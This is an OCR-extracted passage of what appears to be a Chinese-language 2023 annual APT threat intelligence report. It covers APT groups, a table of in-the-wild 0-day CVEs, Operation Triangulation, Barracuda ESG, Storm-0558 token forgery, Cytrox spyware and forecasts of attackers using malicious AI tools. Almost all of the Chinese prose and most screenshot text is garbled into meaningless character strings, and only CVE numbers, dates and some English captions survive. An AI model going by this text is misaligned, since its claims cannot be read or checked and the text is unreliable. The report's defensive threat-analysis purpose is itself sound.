EarthKitsune 2020 2023 2020-0674, Az Chrome 512809 CVE-2019-5782 J§iA, HF&EE
% dneSpy/agfSyp A5,
ZALTEHNER=E, KEAACANEFEE. MEEIFBR#HT
NoName057 2022 2023 DDOS B 57,
GoldenJackal 2019 2023 1Z APT AR REMNIEEN A LUEME 2019 F 6 B, KIFERA, E

B RN L BRI RS B TR S E R,

SFRARM, EBHXRARMIEMNOBA BIRFH TR EE. HEE

CL-STA-0043 2020 2023 i@id Exchange fRS2BIRBHITRE21E, WEHEEHA T STV
BEBBER AR,

ZALREMRBETN, EEHNETH. HEFL. XHENBT.
SpacePirates 2017 2023 B, M=EBERHTREE, EFERAKRERSEERN Winnti ZE
WEES.

A 3R 3.312023 FEMMXIEIX APT 4R

HRFE: ti_support@gianxin.com  EBiE: 95015 EM: https://ti.gianxin.com 74
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ERE (APT-C-36) FEWHBEMUITREMN, SEFESFELLIL. EBAZR. BEE. EFFH, AFE
IREFEBUTER]. SR, RIETI. RERBF, WEERNE 2018 Fig, HIFRE 2023 F, EX
HABI AT E R RS EM RS RE, SMARNKER, W POF &XE, MEEREESREE, FERFIA
R ARMBE AL TR, IEM LimeRAT miEAS *9, FIMMIBITIRRS/HTEER *,

FYNFRERDBERPOLIEM Kasablanka B4R7E 2022 F£ 9 AE 12 A —BEXHTH#ITHRE,
it 2 TIRFAIEEME B ANOHITHRE, WANEMEEREG S, EEIRE 7 21 LNK XX
E4aE. FIPITXHSFSZM FMEREABPIT . ARG HRELHNITHIZRE AL Warzone RAT,
EREEHARARMBERITHASER T Loda RAT?Y, ZEREMESINE T IZARHM 224557
HiBAIFEFEBAINIF RIS B, LU RH#X B BB & who

M. VK 31474 _ 2015 @gN® 3 (90)
STYHAPKLTHA M TRAIAR CTAED HODTHEAL MR s Thie i

IPOLICECA FACHL T SN H BT 2 (Pl (L B DORCTRE
L —— B xce s ncacaonie fus
y 3

sy e—
EETCTHIRTE L OUEI SMMOCTH 1 UEMECTERE PIiian Tl Pocoia

W rocyzapeTs — wienon HBOC. Bustmicsis ocsomie B o N8
CERTORE TMIIE T, GOPUIIYIOIING KR ST njaenem

A e —

obocmes T s

TR,

dopim—
ey [ACHIBIS CACES

TS, palirea .13, TP PRSI PaNE. o ow 15 3¢ .90 s e s o
) o e (e B)

g P L e g (O o npoast moposse (01050

== HMnopro3sameiyeHne ="
=~ n MUFPaLlMOHHANA — .
NOAUTHUKA o

A [ 3.32 Kasablanka 41 2015 G B EAR X2 K35 2

2023 %2 B, BlackBerry KIL#T APT 447 NewsPenguin §t3 B EETBR K ER 0, KHE LEHN
B X4 UEEIERRETHERESEE LSRN (PIMEC-2023) fEAIBEER, RZXFSHAFRT
HREENRR M. BRI AENSREFMIGERXA, @R VBA ZRAITERR M.
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o BREBMERBO

B I U -
Editing
A -
Clipboard Font paragraph Styles ~

I SECURITY WARNING Macros have been disabled. Enable Content X

Microsoft Office Wamin
Microsoft Office

Protected view warming

This copy of Microsoft office is protected Please click “Enable Editing™ and "Enable
Content™ to view the document. -

Error Code: Mna004F00C Provacy State ment

Help

www.pimec.gov.pk

Page10f 107 8573 words L[% | e B - 1 + 59%

A [ 333 NewsPenguin SR EEFE 4 20

“NoName057” £A£3F 2022 EE A DDoS W& T A DDoSia, 74 B Bobik BF W& B ERH,
RN EEMTRM. SR=. EEBATE. ﬁ%ﬁﬁﬂﬂ\#’\jﬂiﬁo HIJ?EWU%E, £ 2023 FE5
B 8 HZE6 A 26 BiflE], RZWERANES E’”I’]l%’&@ﬁ.ﬂ"]ﬁe\ 5= BAAL #Em. &
hIifisEIr. SEE. REMIRL, XEHEEFEBT Telegram #HITERENRMH D %o

HBFE: ti_support@gianxin.com  EiE: 95015 ERI: https://ti.gianxin.com 76
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NoName057(16) DDoSia Project @DDosiabot

O—ao—@)—a=n—@

General chat DDosSia - +upto date

N Publication by administrators of the latest software:
Wain channel where all members

as well as tutorials for installing it (the chaninel is in

can discuss various topics. read-only)

Videos and screenshots DDosia - support

Channel where users post screenshots o videos of A .
Channel that serves as "after sales service” to users,

the software in use. Administrators specify that they © ,
are free to use all media posted to communicate regarding payments in cryptocurrency o problems
installing software.

publicly on DDoS attacks.

Useful resources Suggestion of targets

! Channel in which users can suggest specific
Ghannel dedicated to sharing educational 'ggest sp:
‘ . — f— targets. The administrator mentions that itis
resources on cybersecurity, computer science,

progranmming and computer technology. mandatory, for each target, to specify: the domain

name; - the description of the site; - arguments on
‘why the target should be considered.
English support

A [ 3.34NoName057(16) # DDoSia T B K& kST % 2%V

20237 A, ARARBET —NANMBILEAR, MIPEEMHA “SpacePirates” %, ZARE
DH 2017 FEM—EERK, TEHNRTHARNHTRE. E—FHNNER, =08 16 MESHAR
MAEH 1 DEREMADNMER KL, BEBFNEENE. MARTQE. MEMXFER. Rk
£rE. ERERNERREAE,

ESZEALCEY ATHEHITEE, AFATHIEHNHTIHIRE, AR ARLADNKGEEETRS SR
il (C&C) BRSZ 88 LR T Acunetix, XRZALEHRTENTFA T RE. INKEEXHBER
Deed RAT #1 ShadowPad &= 54,

443 fUNKNOWN  TCP | Chserved Jan 17, 2023 of 12:42pm UTC
Details

Not Available

TLS
Fingerprint
JAZS 475c9302dc42b2751 dbFedcacibT 4891
Handshake
Version Selected TLSV1_3
Cipher Selected TLS_CHACHAZO_POLY1305_SHAZ256
Leaf Certificate

2b5e7b1 7 febebBAffE26dT3241 af4ab5] fe2b55cab2fEf1fTe34acA303db9a3
C=CN, ST=mypravince, L=mycity, D=myorganization, DU=mygroup, CN=mySearver
C=CN, STemyprovince, Lsmycity, Osmyorganization, OUsmygroup, CHsmyCA

A [ 3.35ShadowPad 9 SSL SEPAE s 2%

CL-STA-0043 S5tXhZRFAEMEATHIHT APT 2H45, Palo Alto Networks & I %212 4B 40 SLHERY Bl E IR
HY, HEEERASTHEATEMNTENRE AR, GlBFIaMIETT Webshell BRI VBS {17, —H
EHFEINEEGEEAUMSSENR TESE “Yasso” .

SERIFEMEED (APT) 2023 EERE 7



ERME
Kasablanka
NewsPenguin
EarthKitsune
Kasablanka
SRE
Kasablanka
SRE

SRE
EMRE. Hagga
GoldenJackal
SRE
CL-STA-0043
NoName057
SpacePirates
ERE

SIRE

Kasablanka

help help fo

--help” for more information about a command.

SREH I EM S Rt TS 2
£¥{M Kasablanka B4 LIS @ERHE N N O 3R B HErf B 25U
NewsPenguin £33 B EEHBF RMLE S5 20

EarthKitsune 83 7k 5 B9 WhiskerSpy /517 12%°)

£¥{ Kasablanka AREMMAGERHNAR. FIMKERKE
H@m

BRBHFHOLT. BMSR. SHMAERFHHELE 2

£#{M Kasablanka B4R 3I (IR =25 = 4B X T 20U
EIREH SO TR EE LimeRAT A4 125¢)

7 AR 4B AR 25 B ERTK o HE R B R L B8 e 3 (28]
BNSRETA “Hagga” MWEHEmHH 10V

GoldenJackal AR ERAM NET EERA4TEEMKEF D 2

EE{%}%% Mz BREEEE U INK XAFN BIRASH#TERER
&

S TR AN BT Stk e Elg e s E B (207

22484 NoName057 #F DDoS T B£ DDoSia Ff % EmMi4 2V
SpacePirates AAMKH A TA 2%

BRSNS 5 K 2 ER A XY BHE LR BT a5 o 125

E5{4 APT-C-36 (SPRME) BARH Amadey BFP RBEAD 220

EFM Kasablanka A3t 48R A59 & T 500

& 3.372023 FHEMX APT HRMAAKTER

might lose it [*]

2023/01/05
2023/01/17
2023/02/09
2023/02/17
2023/02/20
2023/02/27
2023/03/02
2023/04/18
2023/04/18
2023/05/17
2023/05/23
2023/06/14
2023/06/14
2023/06/29
2023/07/24
2023/08/17
2023/10/31

2023/12/15

CheckPoint

BlackBerry

Trend Micro

m

=

BlackBerry
SRR
360

ThreatMon

Kaspersky

360

Palo Alto
Networks

Sekoia.io

Positive
Technologies

=

nE
360

360

78
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FOE XKE0dayimFA#HATFTAPTHE

2023 F7EF Oday RYFI REEMELR 2022 FHF EF, #H LEEFARFIEER 2021 F, FHE. A3,

FRERNFRRPRASTEDS, MSEEEMFRNE, FR-RHORAENE LBE T M.
BT—sk.

PSS h G mERARTEER, KEUBMHEANBERINKEHRANSE APTNEE, MEENS
FHIHNZ5ERMES, XUSEEDKFERNTZNENA. XOHRGENANDHENBRL, TE
lday IRRBVESFRERBEREMR, KEEREUEREERNBERNFRAER D,

Operation Zero @opzero en - 9527H
Due to high demand on the market, we're increasing payouts for top-tier
mobile exploits. In the scope:

— 0S5 RCE/LPE/SBX/full chain — From $200,000 up to $20,000,000
(twenty millions).
— Android RCE/LPE/SBX/full chain — The same.

As always, the end user is a non-NATO country.

Q 33 12 232 Q 588 N

[=

4.1 Operation Zero fRi®s ERBTEZHIRBERMN

2023 FEFRENEE B TR

RS FmER EXP/POC BEXAH  FIMAH) APT AR WE &
CVE-2023-21674  Microsoft = e Avast
CVE-2023-23529 Apple & KA KA
CVE-2023-21823  Microsoft = AN Mandiant
CVE-2023-21715 Microsoft = ESl EXPMON

Microsoft Threat Intelligence
CVE-2023-23376 Microsoft 5 KA Center(MSTIC),Microsoft Security
Response Center(MSRC)

CVE-2023-20963 Google = KA Oversecured Inc

% 422023 EHE S 0day B *1

79



$FE K8 Oday FE#KAT APT I / 2023 FELMFRSEMAIRE

BAGRS MMELE  EXP/POCREAF FAMAPTAR  WEE

CERT-UA,Microsoft Incident,Microsoft

CVE-2023-23397 Microsoft = APT28 Threat Intelligence(MSTI)

Google’ s Threat Analysis

CVE-2023-24880 Microsoft = Magniber 128 Group,Microsoft
CVE-2023-21768  Microsoft = RAN KA

CVE-2023-0266 Google = ESl Google Threat Analysis Group
CVE-2023-26083  ARM = RH Google Threat Analysis Group
CVE-2023-28206  Apple = e Google Threat Analysis Group
CVE-2023-28205  Apple = RAN Google Threat Analysis Group
CVE-2023-28252  Microsoft 2 Nokoyawa #hZ Kaspersky,Mandiant, 218
CVE-2023-2033 Google £ RH Google Threat Analysis Group
CVE-2023-2136 Google = ES Google Threat Analysis Group
CVE-2023-21492  Samsung & KA Google Threat Analysis Group
CVE-2023-28204  Apple S el el

CVE-2023-32373  Apple = el el

CVE-2023-32409  Apple = e Google Threat Analysis Group
CVE-2023-29336  Microsoft = KA Avast

CVE-2023-2868 Barracuda = UNC4841 Barracuda,Mandiant
CVE-2023-3079 Google = A Google Threat Analysis Group
CVE-2023-32434  Apple = %ﬁ’aer:agﬂfa”tion Kaspersky

CVE-2023-32435  Apple = %ﬁ.’:;‘;ﬂ‘l’a”tion Kaspersky

CVE-2023-32439  Apple S el el

CVE-2023-37450  Apple = el e

CVE-2023-32046  Microsoft & SRA '\C"éﬂtoesr?l\‘}gﬁée)at Intelligence
CVE-2023-36874  Microsoft = RAN Google Threat Analysis Group
CVE-2023-36884 Microsoft = el Google Threat Analysis Group

A % 422023 EHES 0day FH 2
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K{oy> B RIERMBIRP D

RS 2=k EXP/POC BEAF  FIAEY APT 4447 WEI &
CVE-2023-37580 Synacor = Winter Vivern Google Threat Analysis Group
Operation
_ - =T=
CVE-2023-38606 Apple 5 Triangulation Kaspersky
- Operation
CVE-2023-41990 Apple = Triangulation Kaspersky
CVE-2023-38831  WIinRAR S e Group-IB Threat Intelligence
CVE-2023-35674  Google = KA RA
CVE-2023-4762 Google & Cytrox BNl
CVE-2023-42793  TeamCity = APT29/Lazarus IR
CVE-2023-41064  Apple = e Citizen Lab
CVE-2023-41061 Apple = e Apple
CVE-2023-4863 Google S ES Apple,Citizen Lab
CVE-2023-26369 Adobe & EEM Lazarus EN il
%18 ,IBM X-Force ,Microsoft Threat
CVE-2023-36802 Microsoft = AN Intelligence,Microsoft Security Response
Center
CVE-2023-36761 Microsoft £ RH Microsoft Threat Intelligence
CVE-2023-41992 Apple = Cytrox gltlzen Lab,Google Threat Analysis
roup
CVE-2023-41991 Apple = Cytrox gltlzen Lab,Google Threat Analysis
roup
CVE-2023-41993  Apple = Cytrox gmzen Lab,Google Threat Analysis
roup
CVE-2023-5217 Google = ESl Google Threat Analysis Group
Google Threat Analysis Group,Google
- - =T= B
CVE-2023-4211 ARM 5 ESill Project Zero
CVE-2023-33106 Qualcomm = KA Google Threat Analysis Group
) . - Google Threat Analysis Group,Google
CVE-2023-33107 Qualcomm 5 FH Project Zero
CVE-2023-33063 Qualcomm = ESl EN ]
CVE-2023-42824  Apple & el ES |
CVE-2023-22515  Atlassian & el A

A % 422023 EHES 0day FH *3
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RS 2=k EXP/POC BEEAF  FIAHYAPT LA

S Microsoft Threat Intelligence,Microsoft

CVE-2023-36036 Microsoft Security Response Center

iy

CVE-2023-36033  Microsoft B ESl %8
CVE-2023-46604 ActiveMQ = HelloKitty R
CVE-2023-6345 Google = e Google Threat Analysis Group
CVE-2023-42916  Apple = KA Google Threat Analysis Group
CVE-2023-42917 Apple = ESl Google Threat Analysis Group

A 422023 7 ES 0day R *4
—. TERYIREE Outlook CVE-2023-23397

2023 F 4 B, WEREAT BIEE T FET Outlook EI—NEL N ERIE CVE-2023-23397, iZiw

RN HEIAEEEERTM A, XEEBIREHFENTE MAPI B EZEE Outlook HiFE, X

x%%ﬁﬁ Outlook TFFERHRFEY, K EohERZBMIEENBR T ARSI SMB HZAR5588 UNC B8
2, SHEFZEEN NTLM Hash #5

BLRE-MERPOLE—NEERT ZRE, EXEKNIERLMNTAEMNTRZEE, HAIAF
Rz RANKEREME 2022 F£3 B, BITRINFHATREMHRIZNEZ VPS RS2, KR
X GEHER UNC it tiiEmE —& VPS, B 202 £ 4 B 14 B2 /G, FiENKE CQQ #8817
Ubiquiti-EdgeRouter B&H28. WWARAREEREEER=. tHH, FEETFEMXNEEZALRIE,

< RedDrip Team @RedDrip7 - 3529H
“°" Analysis about currently disclosed email samples exploiting #0utlook
#CVE-2023-23397
- Related attack dates back to March 2022
- Ubiquiti EdgeRouter devices were used
- Victims aren't limited to #Ukraine

Check out the report for more details:ti.gianxin.com/blog/articles/...

Q 11 26 Q 42 1B &

A [E 4.3 CVE-2023-23397 HifikE
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= ZAEMN - =EHHNER

20234 6 B 1 H, FEHEKRET Operation Triangulation IEHERN, #M 2019 EFBFEHER
HEZELRTH iPhone FHREE 0day IRANKE, HEBMAXBRTFREHE, REIgEEIRZD
ERNER QB RBAE . HEEBIRX—FHEEEMHN iMessage ERFIBIFEE L, &L
FEABFRRENERT, FAZFEERLACEIITER REFMAPMMITHREE NEiERSSE
THELEMERN Payload, HAZIINEE T ATRNNFBARE, HRABE—WETFTLENATES,
&ERRRT L RERRIRRE .

FRIEBMBERFP OSBRI TIZEH, HEIHRIENEBEIEHIA Operation Triangulation 7&
SEEEE R T ERN SN E R RUER AR,

[278

4.4 Operation Triangulation

2023 12 B 27 H, FEHEEZXSKEEENSTZE, WINEHTBINRGESHPHZERBF
aig B, g —HER T 4 4 0day iRA, BN CVE-2023-41990. CVE-2023-32434. CVE-2023-
38606. CVE-2023-32435,

WEHE—M BB iMessage &iXH FARHE CVE-2023-41990 89 PDF X4, imAft LA & CVE-2023-
32434, CVE-2023-38606 LI TRHABHITNIR, BRX—FZERLEHKBEEE FAKRDER,
meBkR 7 IREFHFME BN BRI, BB ZMER Safari #ARE, XFERISAE-—IMREERIE
HIIR1E, A2 /G318 Safari 0day i@ CVE-2023-32435 Eg& CVE-2023-32434. CVE-2023-38606 &
REMTEAIBHITIR, HRERIm M.
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Attack chain

&

4.5 Operation Triangulation SEE T 4 (25°)

XEREHEIEHIE R —MFHR 0day JRTE CVE-2023-38606, %imAED BEH4AFMET /0(MMIO)
HERRSITERFRIFE (PPL), BEREERNZEIZRBF AN MMIO i BER—BAFETERIER
X, MXLEMIEITHAIRI MMIO F1Fe85 GPU thabIEE A X,

=, BAFRBIEFE CVE-2023-2868

Barracuda Networks F 2023 4 5 A 30 H& i@, #REE T ESG(Email Security Gateway) & &7
7£ Oday /%A CVE-2023-2868 HEM#FIA, ZKAR ESG Xt tar XL IEA ™ SHAITZfn SHITRA.

MAZRANRERERAET 2022 F 10 A, XHEBESKARMEMLENABHITNRE, T.
SEASPY/SALTWATER A5,

BE5FE/2, Barracuda Networks T BE A4 7T XfG, B12023 6 B 6 HEH TEBEHNS, BE
TILREBRET REWT, SHMH ESG REFHMEEUAFIR, SEMNREAREETSHRESTR
IS EEADHITT BHIEZE, 180T EtFAAE LU B4R,

Barracuda Email Security Gateway
Appliance (ESG) Vulnerability

JUNE 6%, 2023:

| ACTION NOTICE: Impacted ESG appliances must be immediately replaced regardless of
| patch version Tevel r you have not replaced your appliance after receiving notice in your Ul

contact support now (support@barracuda.com).

Barracuda's remediation recommendation at this time is full replacement of the impacted
ESG.

4.6 Barracuda Networks i@R@s
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M. AHEFIE - 0day {LEYENZRE (L

PRANKSEER TULFHRANEN, HAESI 0day FBRHTK, BB ETEERIIREX System
IRAE—L Nday IRAURR, |AEEREISEARMKIEZER Nday K. BEM 2022 FERHAFA,
$RAUBB IR AETHIEIL 0day iFid.

&5 92022 F KA CVE-2022-44698, ZRAA TR EEER —THIREANISINEEZ ST
SmartScreen Z2EHZ, Magniber B1RFA BT ZRA TR EEENERNG,

2023 £ 3 A, Google Tag BXI#IAE T Magniber B1ZRE (XA Oday B, XA EHERT 0day
CVE-2023-24880, 1% i /A Al CVE-2022-44698 2K 4, &I — 1218 =0 B9 MSI A E % & R 5858

SmartScreen K&,

2023 F 4 B, FEHERE T Nokoyawa HA B Oday REFEEH, WEFEHA T 0day CVE-2023-
28252, ZiRmAA Windows £4t CLFS AR —ERE NIRHE, RIHFBERSBREF .

REE AN BRI, WSEHREUBEIMA 0day INBEETRER, MIEAULFNENSH
BVICEEEN, HREAZEEIBIFER X 2 KL R ERFERETR 0day 1, BAEHAIIFTEZEE!
¥% Oday F| R IMEHREKBIB T,

f. = LEHR - Storm-0558

2023F 6 B, EEBKIFERFITEEL] (FCEB) HH97EH Microsoft 365(M365) mIFEH A I T AI 5¢7E
o ZMLMA Microsoft MINE R 2MEMIEHEL LB (CISA) IRE T1Z5&ED), L3182, Microsoft
HaIAE APT H {518 H it B T IEML 28 89 Exchange Online Outlook #41E, FEERMEIZARGE A
Storm-0558,

WIS E, M 20235 8 15 BFFEE, Storm-0558 A IER 5 IIE<SFRIAIR T A4 25
ALANAF BTG, HPEEBMTNMAMARZHNEEREKS ., BFRIUAMELFENS IR
2R, WHEEBIFWM—NRECEHMEK, (MSA) HEESZEA, HFFBEHET Azure AD 1
AVFD MSA SHZRE M B M IOIESH, MmiAET OWA # outlook.com, —E R AMEMNSREE &%
ZRENSMHIIE, BhE5ERAILIAE OWA API, HM OWA K GetAccessTokenForResource
API H3REX Exchange Online B3R R ( B Fi&itHERIE, EERBEIRTZAIMIZ APl FR1FHI<L
RESRIRENHTRVIFIE AR ), UTFAREHR AL Amitai Cohen BRENK T ANz,
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” Stom-055? EMO‘II EX‘P;I'tr‘O\'t.!OV\ Kelf validation vulneral-:'»h‘ty G#)

Azure AD enterprise auth Tokens signed by
MSA consumer Signing key accepted as validl.

Forged AAD enterprise or
MSA consumer auth token
Unknown for target user

source

6 ' .l' Request
: OW A
Stolen inactive

o

=

Exchanse

MSA consumer
signing key

Onhme_

~a5 tmr&e‘t orgs

Exfiltrated

emQIIS

Ronei Token renewal vu|ne_ral=‘-(i‘ty Gl

- A cces:
\—J Moke“&\ --------- Exchange Online access token if user presented

= token Fre_viously issued Eu{ this API (rather than
\_—/@/ one issued L"f AAD or MSA.
> owa

GetAccessTokensForResource APT issued new valid

vl

W esnitaice

4.7 Storm-0558 K 5 iE

ET LU SHZFE, KERUZOIWSERE ExEE, XREHEAT LINENR2MRE T E
, BEEEK=Natl b AEEX N, ERBIMREET, REHEFNRT ZAHRARLSH
WReE@, MIERTEENG WFABERE, NAHEFHEXNT2ISS, FRIEBFRZOE
BEREBHNARZIFERINE2ER,

7~ BohimR SR REE

RIS NIRIRERITNREREIR R, K& PC ImpIThREFI8MBBhin% s, HAu APT KM ERX
AEB1R. M Android /i0S, #EhgEMNREMEFETRUNERAAND, FERNERESINTE, K
DO EBEBERANGEE, ERIEMESDIHINEST REFIBHISEFTEEXNFA, 0
A ARM B9 CVE-2021-39793, B EIS 4 Qualcomm 89 GPU J&’E CVE-2023-33106/CVE-2023-33107/
CVE-2023-33063, X—AHE A LL%ZE Goolge/Apple F3577, SEETNIABTHRERARTEREHE
WRZRARAEEH, Z—HAEBMFAAEEREEEEZHEBREHE, SEARAEREVES
g, HIRT LEEMRSAKR , TiLZE ARMER Qualcomm, EELZ2AENKRNEEEE AN,
XER TREERAEESHNHEISEEEUR, ERX—FEREEER, EHENEREIE,
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t. lday iERBYFI A=Y

ERRNERERS, FEFEE—RFBHNTNA, ML EL~mEREHGTHETH, XBRE
THNKEFEIATEAFRERENELHINEZ2IHEEN, T ONEL2EIRESHNEL, 7
EERZITANAEE-—LEERFRE, X—EREEIR5IREZEREZ lday FEF BENHNKE
&

BREEKERAFEEANBREWHRZBEERN Lockbit IRFUREX—FH5IEZHXE, TEMR
AGIFLHEN K E FTREF A T Citrix NetScaler iR& £ 10 BAHBLR2EMEMNIFRE (FIEHRS CVE-
2023-4966, % Citrix Bleed) , WHRMBZEATHIREHITH T,

I35 215 R BRE BA S B AR B 3R AP O SRR B 22 N WS B EAFI 10 B IRIEE RN FRA M ActiveMQ
mE (RAY%S CVE-2023-46604, CNVD-2023-69477) #1TR &, HPAZHEKEHAMN, MELER
BT ActiveMQ FRAFFSEREEMREFRP, FHATXERGFRNERRFESZIZRER
) 2% AR 7 FE Y IR 5 B R

MEMEL2 AR, REMBNKERERRER, ZRIATHREEREETENNEILE
W, EEEKEER B E QPR A ENEEERKN LR RRERNRENNNZE BFES
FEBY—ARXE,

N, MBENFEREEREE

2023 FHA T ZRURAFEANBARRENRETER, XEENEEASHIVBEERER, KT
ExEHES, FASRHEKS, WHEREHITRLAIE,

2023 FF 4 ARB A ARERERIIFE 7 RAZE AN QuabDream LL i0S14 Oday HITHEWNEH, FH
5P HIE BRI BT &R 2 QuaDream FYE .

2023 £ 9 A Google M AREWEHFIKE T Cytrox FAEANBEF A i0S FF& 0day iFiF CVE-2023-
41991. CVE-2023-41992. CVE-2023-41993 Az Android Oday &8 CVE-2023-4762 33 7i3% KX 5 & {2
WK EEYS, XPEEEEREREIFEALRE MITM) Tk, YZEEHFELERE HTTPS ML
URL B4 BR AL BISTRZAY Oday B HEHE, MMmsEmxd BARFHREE.
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- .-'_'\-\.ll_,_""-\

o ¥ \ b L RN

F = “ " R "\:- L \l'-
A "9%29"2 ; 811081239 ‘.
HJ*_“__}\ ;J'r"' y I",, . p .r=-
Ei%gfil':] Telecom Eg_fpl Y
(AS 8452) Spyware Injection
Middlehox
m———— ‘_‘-.-"'-._-.__h_h-hfrfrr- -. v 'l _h‘-‘-
" = o LB -
- -i:' lllll : LA e ""‘:

I' . (Q’){ =S '-\\
e ; 41206.153.241 ~~. /
- Traffic Management s .

’ Victim Device Middlebo R
- 196.144.0.0/12 o S
- . F-L _____ e -

T oy -

O -

Vodafone Egypt
(AS 36935)

A [E4.80day EHEFREIRREENFEIR

2023 £ 10 BAMEMKBERMABRBLIERE RHEMNBXET Cytrox FAEXREEN, XY
27 ZMER 23 MRIZED 50 MEIRAK A K2 d, FHizi Predator [BlIRR .

N GIREFIRFRIBEES
2023 FHREBRTOEREWEET LN SRERE=RE 0day ARENONR LB
Hep@IEFIA WPS 0day STHERVIR S5, Wi B HIIERBESTR AR WPS SRIAMFIA, SHTH

[RRILERSEUREABHIIT. SREBMERPOE-HERKRE POC HIBRREW, FRFHEX
s
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o BREBMERBO

3) WEAKS: WPS B

2. MAUEEAEH WPS Office A, {EATLAESRTE WPS Office, {3 B AN AN T 12
Siwild . 0] LI in) WPS T https://Awww.wps.cn b EH 22 28 # AT WPS Office.

3. ANSEREE A A TR S hRA

ENEE T& F A H ) fiA S
WPS Office /> NjiR Windows | 2023-07-28 | &1 12.1.0.15120 (A7)

WPS Office HLFIR A (i

‘ . A
W, ol Windows 2023-07-28 & 11.8.2.12055 (A5

JRARD RS

1. /o WPS Office LR A (iR, lisamm) , SRR LBE %
LR 7 AU R AR B R A -

1) HIR#ALE: 400-677-5005

2) HRMEFE: wps@wps.cn

3) FEAAT: WPS BFRSY

2. WG AAER] WPS Office 7 ARE, EATLLLFE S WPS Office. {#H [ Zh I T 1%
SRR . A LAy e) WPS B 9 hitps://www.wps.cn #2325 BT WPS Office.
T Sk

iz A 2 E RS BRR (bs) A IRA R (R A 257 MEh&hhn,
Sl I A AT 2B SR AR, DR &L AmE .

A E49 =305

2022 %, HLEEAMBERFOEAENEMEEFRAZEHNENERRBUNKESH, W
Bk = B & Bh [ R S BR A8 B9 Oday IR, BRFAXS BAR R OEIERSZEITE IR i 2
APT-Q-77 M BEAP AIFREHRIAHITREIRS, BEATIFL" 2023 FRTHRERERAR”

=+
2 To
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BRI 2024 EEFIFEERMITN | LIRS FIFENERM (APT) 2023 FERE

FRE 2024F FEFFEER TN

FAVETF 2023 & APT B BISHE UUISOEE R APT RUMMALHIESIRI T IBIRNT 2024 EERFEER
AL TIIN

—. ERRBWHEEEMIAEN APT B EER

BEHRM 2022 FREES, HBEKIARE, 2023510 B, BHINEREARRIHSUEHIER
AR, PRMKBENELRR. HRSMEHABEK, SEZEARME. Z—7H5HE, 2024 F
RBR—1 “@EHE" , BATERIT, 2024 F2HKHE 76 MER / K EITRIE, FRILE. Bl
AKX ZIER, BE2K4LTZAL.

ERREHIEZHERT, FRESSIFINREENSIREUBMENRE. ERKBIFENEZHNE
IRSEHEEIRRIERE RN

=, BuipaeRIREEXE

HXREEmBI MR TEIFSIE %, 2023 &, HITMERRZMALKTE Android SFERKEER. 2023
F£12 8, FEHERETHITI0S i&&M Operation Triangulation BB &5, ZEHNERT 4 1
Oday i, HiFE4F2 A, HRBMEMKXEEREEMA. MRZAZIHNETEENRESER
2 E3IAEHE, #B4 Operation Triangulation ERERT APT ALEREIRKHKFHEE,.

FHIh, MBENBHRERE—ERE LFE T HREANERBTErHFHRS. RIEXNREBS,
AT 2024 FHE2EHMELERT Android/iOS FEE NG EHN K o

=, RFHEMENESARERE

2023 EFFBRIH ICX EMMAI WA ENEREEH—AHETER, ¥MEEXSHREW, BL
ABIRHRZ, REIFAEAIKEE ZFIUESHNREF L RENERAEEIRE 5 —R N ER S,
£ 3CX EF 25, HWNARREAGNENEREEHFMERRALE, i, XEERTEESERE
B9 Python 7 PyPl ¥ & LEIBHERABMNRAE, KXREEER, NMENEEERF.

—BRGEEH T RHHYENER IR, REEMEMEBERE NENFRERR, METHERN
Rk, XERFRERFRAENENRREEZITNERZ —
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ERFEATESRERANLZEEREWY AR Z NG, AANNIEELERET A ER, AMBEN
NIARFATHENEERR, BREEENEEFBFRBAISERARAREEDNNNE, AT
HHEER A ChatGPT &R fa RAMMN T SHIREIEE RAGERFEH, EXHESEEIEREENDS K, EM
ChatGPT BB E R4 WormGPT M FraudGPT EZHINTEREN, EfIRFEMHREERE EEUNH, B
EREmHRE,

WBIATEREREE), WHEALURDHIESERAENHIEARTE I EIR AR T ARIBRE. FRit
25, ATEBERARIRAIREROH— i A B R = o

A, MERMENESAHES

EEXR BN AEALR, NEEMERI T HREINENFANS T, BRFEEN—MELZ, W
BHBOFREEARESHLEAAREERE TN EX T TESH, MEEAFHARLERE
Hes5 s, —AEAKRERT APT IHBIRA IS, H—7HEBARIBKEESREMINYRIRER

MmEMEZFARNERNAEREE APT FIXDE—E D KEES. HITNEE APT-Q-41 ESF 2T
BERRVIMISE, MBREP—MIF. FI, E—HHNEILEAREAR Appin NARIRESIEL,
ZALRNZ TS5 HREIIMX APT EHRNZABREFEBAADHNXR. THREME, “BENHE)IE
2" Alphalock FRT13)IRE, EMEEMITHE HEHTFEARVEBIB RS
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EERPOEF REERAE N ETRMBERWEE. 2. EFB0TERN], MR R e EBIE
HWRAEM, BETHFREKPRBOEMENMALBIERA, KITEAXINENRE04TIMER, @I
IFTIERIEEDITRE, AAXBEMERBXN~ MRS, BEEDREEESHIRFENEREE,
BERRI. D RESREMENERF.
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